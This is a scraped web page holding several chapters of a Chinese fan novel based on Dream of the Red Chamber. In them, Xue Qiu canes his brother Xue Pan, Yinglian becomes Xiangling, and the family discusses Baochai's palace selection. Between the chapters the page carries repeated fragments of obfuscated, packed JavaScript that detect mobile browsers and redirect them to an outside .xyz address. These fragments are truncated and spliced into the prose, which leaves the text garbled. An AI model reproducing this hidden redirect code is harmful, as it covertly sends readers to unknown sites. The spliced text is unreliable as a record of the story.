RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431569|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下英莲后便将这二人打发到别的地方伺候了，不知为何又会出现在这里，还叫薛家的人看到了。 这要是传到那位姑娘耳朵里，不肯和他们小爷好怎么办？ 冯管家带着怒气进了屋，就见冯渊靠在床上，手里拿着个琉璃花瓶赏玩，顿时把什么姑娘什么小厮抛到了九霄云外，一颗心恨不得跳到嗓子眼，几步上前夺过花瓶，小心翼翼放回礼盒里，这才抚着胸口抱怨：“我的爷，这么贵重的东西，你怎么拿起来了？” 冯渊撇撇嘴：“我小心着呢，不会摔了的。” 说着又看向其他东西，冯家只是小乡绅，衣食无忧，手里有些余钱而已，却很难见到什么真正的好东西。方才看礼单时只觉得薛家送来的礼物贵重，见到实物才知其精美。 譬如那几个摆件，非金即玉，巧夺天工，件件不俗。再比如那几匹缎子，光滑细腻、流光溢彩。 方才他就觉得薛虯身上的衣裳很好看，跟这些料子好像是差不多的，整个金陵都没有多少人穿，若他能穿上…… 冯管家默默移动身体，挡住冯渊的视线：“这些东西太过贵重，还是好好收起来，等到少爷成亲时再拿出来用吧。” 冯渊：“……” 他恋恋不舍，但还是点了下头。自家知道自家情况，以冯家的家底，日常穿这么好的衣裳的确太过奢侈了。 想到薛虯，冯渊道：“从前只知薛家二爷，少听说薛大哥的名声，不想竟是这般如玉君子。” “是啊，原以为薛家于子弟教养上不妥，如今看来只是薛蟠不大成器罢了。”冯管家也颇为感慨，这一年他没少听说薛家之事，从前觉得薛家后继无人，气数将近，如今看这位大爷的样子，至少还能再昌盛几十年呢！ 等等！ 他脑袋上缓缓冒出一排问号：“薛大哥？” “是啊。”冯渊见管家表情怪异，茫然地问，“有什么不对吗？” 冯管家：“……”当然不对了，自家小爷是不是忘了薛大爷才十三岁，比他足足小了八九岁啊！ 他默然片刻，直接转移话题，问起那两个小厮：“他们怎么在这里？” “他们还在外头？”冯渊有些惊讶，也有些心虚，“他们说担心我，想要来请安，到底有多年情分在，我才答应他们来一趟，方才已经打发出去了，怎么会在院子里，薛大哥是不是看到了？” “您说呢？”冯管家叹了一声，“总叫您不要太娇惯他们，您偏是不听，如今这般自作主张，可不就是您纵出来的？” 冯渊生气地一拍被子：“叫他们进来！我非得问问他们是什么意思，难道我对他们还不够好吗，这般给我找不痛快！” “罢了罢了，不过是两个奴才，何至于生这么大的气，倒伤了自己的身子骨。您若有心，便把他们送到庄子上去，也算向薛大爷表态了。”冯管家见冯渊真的生气，又连忙安慰。 这建议从前他便提过，只是冯渊念着情分，总愿意多留两分体面，但这次却没有再开口反驳。 5. 第 5 章 冯渊的命保住了，冯家也不再追究薛蟠的过错，这个危机就算是过去了。接下来只要好好管教薛蟠即可。 薛虯回到家，正要去给薛母请安，告诉她这个消息，便听说薛蟠知道冯渊好了，闹着要出来。 ——薛蟠现在被薛母关在自己院子里不许出门。 薛虯闻言冷冷一笑。 长瑞低下头，心里给二爷点了根蜡。本来大爷就在盘算着收拾他了，还非要上赶着作死，原本还能过一天半天的轻松日子，现在只怕立马就要倒霉。 果然，薛虯叫来一个小厮：“你去回太太一声，冯家那边协商好了，让她不用担心。一会儿我再去陪她用饭。” 然后吩咐长瑞：“去请家法。” 长瑞心中一叹，什么也没说，转身往祠堂去了。 薛虯带着人去了薛蟠的碧梧院。 碧梧院与青桐院同出一脉，位置也紧连着。当初薛母分配院子，本要将府中除正院外最好的两个院子分给两个儿子，只是薛蟠不愿与薛虯分开，撒泼打滚要求一起住，薛母无奈，只得给他们找了紧邻的两个院子，勉强算是住一起了。 彼时薛蟠与薛虯相伴长大，情谊深厚，并不在乎住处好或不好，只要不跟同胞兄弟分开便高兴。可惜不久后薛虯就去了灵应观，二人终究还是分开了。 听说薛蟠哭闹了许久，嗓子都哑了，还发了一场热，过了许久才不总念叨虯哥儿。 想到过去的事，薛虯心中升起暖意，但听到薛蟠院子里传来的嬉笑声，脸色又重新冷了下来。吩咐小厮：“去扣门。” 小厮战战兢兢上前敲门，里头的热闹渐渐停了，有人欣喜地说：“是不是要放二爷出去了？” 紧接着便响起轻快的脚步声，“吱呀”一声，一个十三四岁、梳着双平髻的小丫头打开门，她脸上尤带着笑意，在看到门外的薛虯时僵住了：“大、大爷？” “你说是谁？”一个少年自人群后探出头。 他五官与薛虯有五六分相似，只是眼睛不大一样，薛虯是与薛父相似的丹凤眼，薛蟠却长着双圆圆的杏眼，看人时总透着清澈的愚蠢。 他身材高大，皮肤微黑，单看长相颇为俊朗，只是沉溺逍遥富贵之乡，一身膏粱纨绔之气，气质便大打折扣了。 此刻他被丫头小厮围着，手里捏着叶子牌，髻上还簪着两枝梅花——算他还有点谱，没有簪艳丽颜色的花朵，选的是绿萼梅。 薛蟠见到薛虯颇为惊喜，咧开嘴露出整齐的大白牙，声音格外洪亮：“虯哥儿，早就听说你回来了，怎么这会儿才来看我？数月不见，我可想你了！” 薛虯没搭理他，缓步走进院子。 方才还叽叽喳喳闹成一团的下人们都成了哑巴，手脚麻利地把桌上的叶子牌收拾好，薛蟠手里的也抢过来藏好，恭恭敬敬行礼后站到一边，一个个低眉顺目，老老实实。 薛蟠似乎也察觉到气氛不对，嘴角一点点收了回去，脖子也渐渐缩了起来，好像还悄悄往后退了两步：“大、大哥？” 薛虯走到桌边坐下，面无表情地盯着薛蟠，直到薛蟠快将自己缩成一个球，才缓缓开口：“孝期买丫头，你真是长能耐了。” 他语气淡淡，并没有太多情绪，薛蟠却吓得汗毛倒竖，连忙替自己辩解：“我只是看那丫头可怜，想买来做个婢女使唤，没打算干什么！” “是吗？” “是的是的！”薛蟠小鸡啄米般点头，拍着胸脯保证，“我这几个月都没有和丫鬟小厮亲近过，大哥可以问他们。” 他指着下人们信誓旦旦，薛蟠院里的下人小幅度点头，算是替他作证。 这点薛虯还是相信的，薛蟠或许有种种不是，但他对家人一向尽心，应不会在父孝期间胡作非为。 但是—— 薛虯冷笑一声：“既然只是可怜她，为何不将她给冯渊？人家跟着冯渊便是主子，不比来薛家做个丫鬟强吗？” 薛蟠梗着脖子：“那怎么能一样，薛家富极一方，岂是一介乡绅可比？” “……”薛虯手指在石桌上敲了敲，语气略显不耐，“我在问你话，想好了再回答。” 薛蟠梗着的脖子又缩了回去，支支吾吾道：“我、我就是觉得丢人，我看中的人，银子都给了，别人说抢走就抢走，让我的面子往哪里放？” 他越说越大声，且逐渐理直气壮，义正言辞道：“我是薛家的人，打我的脸就是打薛家的脸，难道不该跟他计较吗？” 薛虯在他脸上扫了一圈，在薛蟠期待的目光中轻嗤一声：“你可代表不了薛家的脸面。” 薛蟠：“……” 呜！ 薛虯对他幽怨的目光视而不见，只问：“家规第十九条怎么说？” “勤于积善，切忌为恶。居家则孝悌，处事则仁恕。勿要恃己之势以自强，尅人之财以自富①。”薛蟠还在委屈着，却下意识念了出来。眼睛迷茫地眨了眨，忽而惊恐地睁大了，“你什么意思？” 话音刚落，长瑞带着家法回来了。 薛家的家法乃是笞杖，由厚厚的竹板制成，长五尺五寸，大头阔二寸，小头阔一寸五分，若重重打在人身上，一板子便可使人皮开肉绽。 想法得到证实，薛虯吓得脸色发白，悄悄往后退两步，离薛虯更远一些，弱弱道：“你、你不能打我！” 薛虯：“为何不能？” “你是我兄弟，又不是我爹，凭什么对我用家法？” “长兄如父，父亲不在了，我便有责任管教你。况且我是家主，有权利教训犯错的族人。” 薛蟠：“……” “妈不会答应的，她最疼我，你敢打我，她跟你没完！” 薛虯只是淡淡瞥了他一眼：“这便与你无关了，你只要安心养伤即可。” 薛蟠：“………” 他眼睛一转，扭头便往门外冲。他打算得很好，这里距离正院不远，只要能见到薛母，这条小命就算保住了。 可惜薛虯早有准备，不等他靠近大门，就被几个膀大腰圆的家仆拦住去路，架着他去院子另一侧行刑。 薛虯：“罔顾国法、触犯家规，打他二十板子。” 薛蟠气得要死，在家仆手里费力扑腾：“不过是个乡绅，又没有真的打死，你至于吗？” 薛虯：“三十板子。” 薛蟠：“……薛虯，我不会放过你的！” 薛虯：“四十板子。” 薛蟠：“…………” 不一会儿，院子那边便传来木板敲击皮肉的声音，以及薛蟠震破天的哭嚎。薛虯也不叫人堵他的嘴，只让这院里的人都听着。 法不责众，下人也有自己的难处，薛虯没打算为难他们。但也该给他们紧紧皮，免得还和从前一样纵着薛蟠胡作非为。 直到四十板子打完，薛蟠趴在春凳上被抬了回来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431570|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他髻上的梅花掉了，锦袍被鲜血染成暗色，脸上糊满了汗水和泪水，趴在春凳上不断哀嚎。 不过中气挺足，看来只是皮外伤，实则并不严重。 薛虯看了行刑的老仆一眼，没有说什么。再看向仿若一条死鱼的薛蟠，良久才道：“我知道此事不能全怪你……” 薛蟠将头埋到胳膊里，一副拒绝沟通的姿态。 薛虯：“……你会对冯渊出手，也是替郑六郎出头的缘故。重感情、讲义气，这是一件好事……” 薛蟠还是不吭声，耳朵却悄悄竖了起来。 薛虯：“可是你太莽撞了！” 薛蟠唰地抬起头，气冲冲地反问：“我哪里莽撞了？我的朋友跟人打架，难道我不该帮忙吗？虽然出手重了一点，但我又不是故意的！” “帮忙有许多方法，你却选了最下乘的一个。”薛虯低头看他，“若冯渊伤重不治，你和薛家将会面临什么，想过吗？” 薛蟠不以为意：“不就是个小乡绅，还能叫我偿命不成？” 薛虯：“……” 四十板子还是打轻了！ 他微笑：“为何不能呢？杀人偿命，欠债还钱，这不是天经地义吗？” 薛蟠眨了眨眼睛：“但我可是薛家人！” “率土之滨莫非王臣，王子犯法尚且与庶民同罪，薛家又能如何？”薛虯叹道，“况且此事发生在光天化日之下，众目睽睽，你让我们怎么办呢？” 薛蟠呆住了。好一会儿才梗着脖子说：“大不了我给冯渊偿命！一人做事一人当，不牵连薛家就是了！” 薛虯拊掌：“你倒是很有担当！只不知是否替母亲考虑过？她一片爱子之心，这些年一句重话都不舍得与你说，到头来却要白发人送黑发人，不知道要伤心成什么样子。她为着父亲的事，身子本就不大好，你是想要了她的命吗？” 薛蟠一愣。 “还有薛家，若你成了杀人犯，薛家百年名声必将扫地，内府的差事自然保不住，其他生意也要受到影响。如今薛家便已摇摇欲坠，届时更是风雨飘摇，父祖数十年的心血，只怕要毁于一旦了。” “至于宝钗……”薛虯叹了一声，“若薛家败落，又有一个犯罪的兄长，宝钗还能有什么好婚事？可怜她从小金尊玉贵长大，这般好的相貌人品，若家中得力，做王公高门的宗妇也使得，日后不知要落入何种境地。” 薛蟠想起曾经见过的泥腿子庄稼人、浑身穷酸气的酸秀才、奸滑成性的小商人、甚至街头插着草标被卖的女子们，再想想自己端庄娴雅、才华出众的妹妹，脸色十分难看。 又想到端庄慈和的母亲，想到她会多么伤心，薛蟠表情变得茫然，梗着的脖子也缩了回来：“我、我当时没想这么多……” “我知道。你只是年纪小、想得少，可旁人却不会因此姑息，好在这次没出大差错，只是下次却未必能这般幸运。” 薛蟠惭愧地低下头：“我知道错了，以后再不乱来。” 薛虯这才满意。打板子不是目的，让熊孩子知道错误才是最重要的。好在薛蟠虽然长得歪了点，却还有拯救的空间，只是要多花一点心思。 他站起身：“我让人请府医过来，这些日子你便好好休养吧。” 薛蟠一脸感动，大哥虽然打了他，但对他还是很好的。 薛虯：“没事便抄写家规，改日我要检查。” 薛蟠：“………” 6. 第 6 章 出了碧梧院，薛虯前去正院给薛母请安。 路上长瑞忧心忡忡：“太太恐怕已经知道了二爷挨打的事。” 他倒不是担心大爷，太太虽然宠二爷，但是更心疼大爷，从小到大二爷和大爷争宠就没赢过，更别说他们是有理的。 只是如果太太过于伤心，恐怕大爷也会难做。 到了正院，果然气氛略显怪异，轻松中带着几分压抑，守在门口的小丫鬟替薛虯打帘，动作都比往日更轻一些。 薛虯微微一颔首，缓步走了进去。薛母坐在搭着灰鼠椅搭的玫瑰椅上，捏着帕子抹眼泪，宝钗则在一旁轻声安抚。 薛虯心中一叹，撩起袍摆跪下：“儿子不肖，让母亲伤心了。” “这是做什么？快起来！”薛母吓了一跳，亲手把薛虯扶起来，“此事与你有什么相干？原是蟠儿造的孽，受些教训也是应当的。” 薛虯扶着薛母重新坐下，解释道：“不是儿子非要打蟠儿，只是外头物议如沸，咱们总要给个交代。” “我明白。”薛母擦掉眼泪，想了想，咬牙道，“你是长兄，管教弟弟是应该的，以后蟠儿的事都交给你吧，我再不插手了。” 薛虯心中讶异，薛宝钗也颇为稀奇。薛母性子软和，对自己的子女更是溺爱，从前薛父管教孩子，她每每都要护着，这次薛蟠闯下滔天之祸，薛母即便恼怒至极，也只是将他关在院子里不许出去，连茶饭都正常供应。这会儿却能说出这样的话？ 要知道薛虯可不会惯着薛蟠！ 薛母如何看不出两个孩子的想法，叹气道：“蟠儿是被我娇纵得过头了，倘若不严加看管，还不知要惹出什么样的祸事来。别的也就罢了，我只怕连累了你们兄妹两个。” 倘若因她对薛蟠纵容，叫薛虯和薛宝钗受过，那绝不是薛母愿意看到的。 薛虯默然，单以教导孩子论，薛母并非合格的母亲，可谁能说她不是一位好母亲呢？ 他道：“只怕母亲届时要心疼。” “不哑不聋不做家翁，你们只别叫我知道就是了。”薛母摆摆手，又问起在冯家的事。 薛虯也不隐瞒，捡着重要的说了。旁的也就罢了，只听到英莲时，薛母有点不高兴。 此事虽然不怪英莲，却到底因她而起。薛家上下为此担惊受怕，薛蟠还被打了四十板子，薛母难免迁怒于她。 随即又是一叹：“罢了，她也是可怜人。既然你说了要让她自己选，便将人叫来问一问吧。” 那日英莲到底被带回了薛家，管家给她安排了个地方住着。主子既然要见，不一会儿人就被带来了。 英莲不愧是《红楼梦》中榜上有名的美人，果然长得极为出众，眉目如画、气质楚楚，眉间一粒胭脂痣更添几分动人，仿佛含苞待放的粉荷，即便才十二三岁，也能看出未来的风姿。 只是性子稍显怯懦，低着头不敢有丝毫逾矩，声音也是轻轻怯怯：“奴婢见过太太、大爷、姑娘。” 薛虯低头品茶，并不开口。 薛母叫了起，细细打量英莲片刻，含笑道：“是个好孩子，难怪那孽障能看得上。” 英莲把头垂得更低，一句话也说不出来。 薛母：“听说你是被拐来的，可还记得原来家住何处？有何亲人？” 英莲摇头：“那时年纪小，又发了一场热，什么也记不得了。” 薛母：“可有好友亲朋？” 英莲再次摇头：“爹不许我们出去，不识得几个人。” 薛母闻言叹了一声，她也是有女儿的，若经历这些的是她的宝钗，只怕要心疼死。将心比心，对英莲也多了几分怜惜：“可怜的孩子，如今既出了那虎狼窝，以后便不用受罪了。你可有什么打算？” 英莲低着头：“奴婢不知道。” 薛母便说：“那冯家小公子你见过，对你一片心意，还想将你要过去，你是怎么想的？” 英莲垂着的睫毛颤了颤，先是问：“冯公子如何了？” “难为你惦记着他，已经没事了，只要好生休养即可。”薛母说，“这件事叫你受了惊吓，说起来也有蟠儿的不对。若你想嫁人，便由薛家给你准备嫁妆，从薛家的庄子上发嫁。不愿意去冯家也无妨，不拘是留在府里还是出去另过，总不叫你受委屈。” 英莲沉默一会儿，喏喏道：“奴婢听太太的。” 薛母有些无奈，但想到她从前被拐子把持，万事都由不得自己，难免胆小一些，便又耐心开解：“这是你的终身大事，还得你自己拿主意才好。冯渊那边不用操心，虯儿已经跟他说好了，只看你的意思便可。” 英莲抬头看了薛虯一眼，又迅速低下头去。迟疑了好一会儿才开口：“若奴婢留在薛家，二爷……” 薛母把薛虯跟冯渊说的理由又说了一遍，又道：“便是出了孝期也不必忧心，只要你不愿意，那孽障不敢胡来！” 英莲松了口气，提起裙摆跪下磕了个头：“奴婢愿意留在薛家。” 薛虯和薛母并不意外，冯家虽好，到底只是做妾，好好的女孩儿家，若有旁的选择，谁会愿意为人妾室呢？出府另过虽然自由自在，但世道艰险，她孤身一个，只恐生出事端来。 相较之下还是留在薛家好一些，既不过分束缚，也有大树可倚靠。 不过英莲能下定这个决心也不容易，毕竟是为人奴仆，命运同样捏在旁人手里，倘若薛母变了心思，她的未来便不好说了。 由此也可见她对薛家的信任与好感（薛蟠除外）。 见她如此，薛母心中更加柔软，示意婢女将人扶起来，承诺道：“日后若遇到如意郎君，薛家照样好好送你出门子。” 英莲细声细气地应了一声。 宝钗拊掌笑道：“刚才我就说这丫头钟灵毓秀，合该是咱们家的人，可不正是如此！我瞧着她投缘，母亲不若把她给了我吧。” 薛母自然没有不应的道理，英莲暗自去看宝钗，见她不过十一二岁，生得肌骨莹润，举止娴雅。唇不点而红，眉不画而翠，脸若银盆，眼如水杏①，见之可亲。 再想到住在薛家这几日，凡是提到大姑娘的，没有说一句不好的，谁说起她来都道温和大方，也十分愿意跟着这样一位主子。 此事就这么定下了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431571|153881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薛母又问英莲的年岁和名字，英莲细声细气道：“爹说我今年十二，没有正经名字，平日大家叫我三妞。” 薛母叹了一声：“年纪也就罢了，没有名字到底不便宜，不若先起一个叫着，日后知道本名再改。” 英莲连忙拜下：“求太太、姑娘赐名。” “这一时半会儿，我也不知起个什么名儿给你。”薛母看向宝钗，“既是你的丫头，还是你给想一个吧。” 宝钗也不推辞，思索片刻后道：“你品貌出众，恰如莲花出淤泥而不染。《爱莲说》中说‘香远益清，亭亭净植’，屈大夫在《离骚》里写‘制菱荷以为衣兮，集芙蓉以为裳’，依我看便叫香菱为妙。” 薛母拊掌而笑：“不错不错，这个名字正适合。” 薛虯心中惊讶，没想到出了这么多变故，香菱还是叫了原著中的名字。 不过这回她不再是原书中谐音“相怜”的香菱，而是出淤泥而不染，自有清香环绕的香菱！ 在香菱被带下去安置之前，薛虯问她对家乡还有没有记忆，香菱想了半日，只说她家周围似乎有个庙。 等人走了，薛母问：“你想替她寻家人？” 薛虯应了一声。 “她也是可怜，若能寻到她家人，也是咱们家的功德。只是这人海茫茫，仅凭知道的这点子东西，只怕是千难万难。” 薛虯便道：“我听她有些苏州口音，可叫人打探一下，看那拐子手底下是否有苏州人，或者在苏州居住过。” 人生任何一段经历都不是无用的，有些记忆可能丢失了，但本能却会留下来，且很难完全抹去，正如英莲的口音，即便过去这么多年，还是留下了一点故乡的影子。 薛母便笑道：“还是你想得周到，既然如此，便遣人打听着吧。” 顿了一下，她面露狐疑之色，目光怪异地看着薛虯。 薛虯：“？” 薛母：“眨眼之间，虯儿也十三岁了，翻过年就是十四，到成家的年纪了。” 薛虯：“？？” “你喜欢什么样的姑娘，我替你留心着，等孝期过了再提婚事。” 薛虯：“……” 他无奈道：“母亲多虑了，我对香菱并无他意，只是顺手帮一帮罢了。且我从前身子骨不好，即便现在瞧着不错，也要多加保养，观主的意思是，及冠之前不宜成婚。” 薛母暗自松了口气。 她方才的确担心，香菱长相出挑、身世可怜、性子又软，最能惹男人怜惜，薛虯看上也不足为奇。 只是香菱是被薛蟠抢回来的，旁人多少会有些揣测，若她扭头成了薛虯房里人，外头不知要传出多少风言风语，兄弟反目争夺一女的难听话都能说得出来。 好在薛虯没这个意思。 至于二十岁之后才成婚，薛母倒不怎么放在心上。这时候虽然普遍早婚早育，但大户人家的小爷大龄成婚也不算罕见，薛虯又不是因贪玩胡闹之故，日后要找个好妻子也不难。 想明白这些，薛母便也揭过这一茬，说起另外一件事：“前儿京都来信了，你姨妈邀请咱们进京小住。” 7. 第 7 章 薛虯闻言挑了挑眉。 薛母有好几个姐妹，不过多是庶出。嫁在京都、还能邀请他们去家里小住的只有一位，便是薛母一母同胞的嫡亲长姐、贾家二房太太王夫人。 王夫人向来眼高于顶，因为嫁入公侯之家，在“商户太太”薛母跟前颇为傲气，日常并不大走动，通信也不算频繁，逢年过节走礼也只是按旧例，并不显得热情。 眼下一反常态，未免显得奇怪。 他问：“姨妈是不是遇到了什么事？” “你这孩子！”薛母无奈地看薛虯一眼，知道他一向不喜欢贾家，对王夫人也没什么好感，辩解道，“你姨母这些年也不好过，你姨父为官端正，在后宅上却有些糊涂，屋里的莺莺燕燕不少，她难免要受些委屈。再者，珠儿那孩子……” 提起早逝的贾珠，薛母语气哽咽。 薛母与王夫人差了好几岁，贾珠出生的时候，薛母尚且待字闺中，没少与这个小外甥玩耍，心里对他是极爱的。贾珠年纪轻轻便猝然离世，薛母每每想起都觉心痛。 她叹道：“你姨母自小便比旁人好强些，日子过得不如人，哪里愿意跟人往来？咱们又不缺那点节礼，少与她计较些便是了。” 薛虯：“……” 这么想也行吧！至少薛母自己心里不难受。 他问：“那么母亲的意思，是想要上京吗？” 薛母点头：“一来我与你姨妈多年未见，心中牵挂，二来……” 她看向垂头不语的宝钗：“你妹妹要选秀，虽还有几月功夫，也要预备起来了。” 薛虯一愣：“选秀？” “是啊，前些日子传来的消息，宫中要替公主和各府郡主遴选伴读，只要出身仕宦名家的女孩儿，年纪合适、品行出众即可参加，我将你妹妹报了上去，明年秋天便该选看了。” 薛虯垂下眼睑，心中沉吟。 原著里也有这么一桩事，彼时薛父去世，薛蟠不堪大用，薛家已初现颓势，宝钗选秀便是一线生机。只要能选上，以宝钗的才智，在宫中王府站稳脚跟并不难，若能得上头主子青眼，家里便多了一层保障。 在公主和郡主身边做过伴读的女孩儿，婚事上会比一般闺秀受欢迎些，若跟着的主子受看重，跨越阶级攀上金龟婿亦有可能。 再幸运一些，选秀时被皇上看中，纳进后宫做个嫔妃，那才是鱼跃龙门、青云直上呢！ 但这富贵不是一般人能享的，皇宫乃天下最大的名利场，阴私算计隐藏在权势荣华之下，深入其中，哪里还有好日子过？便是进王府陪伴郡主也不稳妥，大户人家，谁知道里头有多少私隐？ 若没有旁的办法，这自然是一条出路。但如今境况与书中并不完全相同。 如今薛蟠不是薛家的当家人，薛父去世后，因为群龙不能无首，名义上由薛蟠暂理诸事，但其实他并不插手，一切事由都由管家薛文盛处理，薛母统管，每月薛文盛会往灵应观去一二趟，为的是向薛虯汇报。 远水解不了近渴，薛虯能做的并不多。但旁人不清楚他的底细，行动便会有所顾忌，薛家虽不如往日风光，但还不到原著中不得不借助外力的地步。 更何况薛虯回来了，日后薛家只会越来越好，不需要宝钗进宫搏前程。作为兄长，他也不愿意妹妹受苦。 薛虯问宝钗：“你怎么想的？” 宝钗原本安静地听着，这会儿含笑开口：“名儿都报上去了，哪还有咱们反悔的道理？无论如何选一选，成与不成只看天意罢。” 薛虯：“这是大事，你可要想好了。若不愿意，我找门路把你的名字勾去便是。” “哥哥多虑了，这事母亲与我商量过，原是我自己答应的。” 薛虯看着她，缓缓开口：“你该知道，皇宫王府看着风光，里头的人却未必好过。留在家里，日后找个门当户对的夫婿，有母亲和我照应着，无论如何都不会叫你过得太差。可若进了宫，咱们家鞭长莫及，一切便只能靠你自己了。” “我知道哥哥心疼我，只是经了父亲这一遭，我也算看明白了，咱们家瞧着家大业大，其实并没有什么根基，从前靠父亲撑着，如今是哥哥，以后不知又该靠谁了。”宝钗轻叹一声，“我受父母兄长疼宠长大，既有机会搏一条出路，万没有不抓住的道理。” 薛母眼里泛起泪花，一把拉住宝钗的手：“我的儿，我不知你竟是这么想的！家里如今有你哥哥，日后还有你侄子，哪里要你一个女孩儿家劳心？” 薛虯也说：“家里不需要你做什么。” 宝钗却摇头：“我虽是女孩儿，却受父亲悉心教导，打小读书写字长大，虽不敢说比肩男儿，却也有一两分见识。哥哥为了家里费心劳神，我如何便不能出一份力呢？再者……说句不怕妈和哥哥恼的话，人活一世，原不能一直依靠旁人，做 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薛母一愣：“你的意思是……怕宝钗挡了元春的路？” “母亲想到哪里去了。”薛虯无奈道，“元春姐姐志向远大，宝钗却是做公主伴读，能有什么妨碍？” 皇帝只是老了，却并不昏庸，再如何急色，也不会将主意打到小辈的伴读身上。至于选秀时被看上……虽然理论上所有选秀都该由皇帝亲自观阅，但国事繁忙，为自己选妃他尚且未必出席，更别说给公主选几个伴读的小事了。宝钗几乎没有进皇帝后宫的机会，除非被指婚给某个皇子，日后皇子登基，她也跟着水涨船高。 这也是好事，做皇妃固然荣耀，然而皇帝到底已经年老，他们如何忍心看宝钗蹉跎年华？ 薛虯道：“我们与贾家既是姻亲，更有利益纠缠，我们借贾家的势，也没少给他们好处，母亲说，他们会愿意看着薛家女青云直上吗？” 当然不愿意！ 薛家豪富，每年给贾家的不是小数目，他们自然不希望失去这个钱袋子。 薛母讷讷：“那、那瞒着你姨妈，不叫她知道这事？” “倒也不必。”薛虯温声道，“今时不同往日，贾家不能助我们成事，但也没本事坏我们的事，只是不要指望他们便罢了。” 薛母：“……” 宝钗低下头，掩盖住唇角那一丝笑意。 8. 第 8 章 薛母讪讪道：“那我找你舅舅罢！” 薛母有两个嫡亲兄弟，王家大老爷王子朔没有出仕，袭了县伯的爵位，如今在金陵照管家族。他膝下有一子一女，儿子王仁，女儿便是王熙凤。 三老爷王子腾精明强干，仕途顺遂，而今官至京营节度使，负责京畿军政，乃从一品的高官。 这里说的舅舅便是王子腾，薛虯没有再反对。王子腾对王夫人比对薛母亲近些，但也是他们的亲舅舅，又位高权重，没有贾家那么多顾虑，想必不介意推宝钗一把。 他道：“虽说要进京，也不必着急。一来很快便是核算例银的日子，儿子头一年接管家事，少不得亲自上京一趟，母亲和妹妹与我同行也不迟。二来，姨妈虽然盛情相邀，但咱们到底不是贾家的正经亲戚，万没有一家子住到别人家里的道理。咱们家在京城有宅院，儿子先遣人去修整布置，一二月的功夫也足够了。届时住在自己家里，出入往来都便宜，若母亲思念姨妈和舅舅，常来常往也是一样的。” 说到核算例银，这原是皇商差事的一部分。 皇商之所以被称为皇商，是因为领着朝廷的银子替朝廷办事，但同样是给朝廷办事，里头也有极大区别，大体上能分成两种。 一种由内府主理的，将内库——也就是皇家私库的银钱借给商户做买卖，商户每年交一定利银给内库，为的是增加内库收入。这便是所谓的“领内府帑银行商”，因为领的是皇家的钱，民间也称之为皇商。 另外一种则是户部主理，商户从户部领钱，替户部采办货物，称为“户部挂名行商”，也有人称之为官商。 看起来后者比前者更自在，实则不然。因为皇商只有深得皇室信任之人才能做，且政令上多有扶持，商户往往可以攫取更多利润，故而远比户部挂名行商更吃香。薛家能跻身皇商之列，还是先祖曾为紫薇舍人，深受当时皇帝信任的缘故。 不过皇商也不是好当的，内府帑银的利率非常高，最高可达六成，如果还不上，就可能被除去皇商资格。原书中薛家一开始是“领内府帑银行商”，后来再提起便只剩“户部挂名行商”，大约便是还不上例银被除名了。 对皇商来说，每年的核算例银是正事，也是大事。 薛母听薛虯说的有理，没多想就应下了，叫丫头取来笔墨，亲自给王夫人写了封信，回绝了去贾家小住的邀请。 待写完信，晚饭也摆好了，薛母坐在上首，薛虯与宝钗分坐两侧，见其中两道菜是薛蟠爱吃的，又十分清淡，薛虯便道：“蟠儿只怕还没用饭，把这两样给他送去吧。” 薛母果然很高兴，连忙叫丫头拿食盒装了，又额外添了几道，一并送到碧梧院去，显然很喜欢这“兄友弟恭”的场面。 用完晚饭，回到自己院中，薛虯命人将薛母的信送出去，又吩咐：“到了京都不必急着回来，和那边的人查一查贾家的情况。” 长瑞：“大爷觉得贾家有所图谋？” “贾家是否有图谋不好说，但我那姨妈必定别有居心。”薛虯不像薛母对王夫人有滤镜，这么多年王夫人待他们一直淡淡，突然便思念妹妹到了邀请妹妹一家千里迢迢上京的地步，怎么看都不正常。 至于她图的是什么，也不是很难猜。看原著中两家牵扯最深的是什么便知道了，一是薛家的钱财，二便是宝钗。 要钱也就罢了，若打宝钗的主意，薛虯绝不会答应。 贾宝玉好与不好他不评价，但配宝钗？不成！ 他妹妹千好万好，自然会有欣赏她、爱护她的好男儿，何苦要一个并不喜欢她的男人？更何况以宝钗的性子，也很难真正喜欢贾宝玉，原著里大约也是无奈之下的无奈之举罢了。 送走送信之人，薛虯闭着眼睛靠在椅背上，思索薛家未来要走的路。 按照他原本的计划，应该先稳定薛家，确保在贾家和王家出事时不被牵连覆灭，之后再慢慢图谋发展。但宝钗要选秀，这个法子便不成了，他得快速积累势力，好给宝钗撑腰。 但以薛家如今的地位，想要短时间内和宫里搭上话尚且不易，更不用说给宝钗做倚仗。 指望别人？ 贾家自身难保，王子腾看似风光，可是他的另一个外甥女元春进宫多年还是小小女官，可见他在宫里并没有多少能量。 更何况原著里王子腾死得很早，不知是意外还是阴谋，若是意外，小心防范也就罢了，若他掺和到了什么要命的事情里头，那真是防不胜防。 还是得自己立起来才好。 机会也不是没有—— 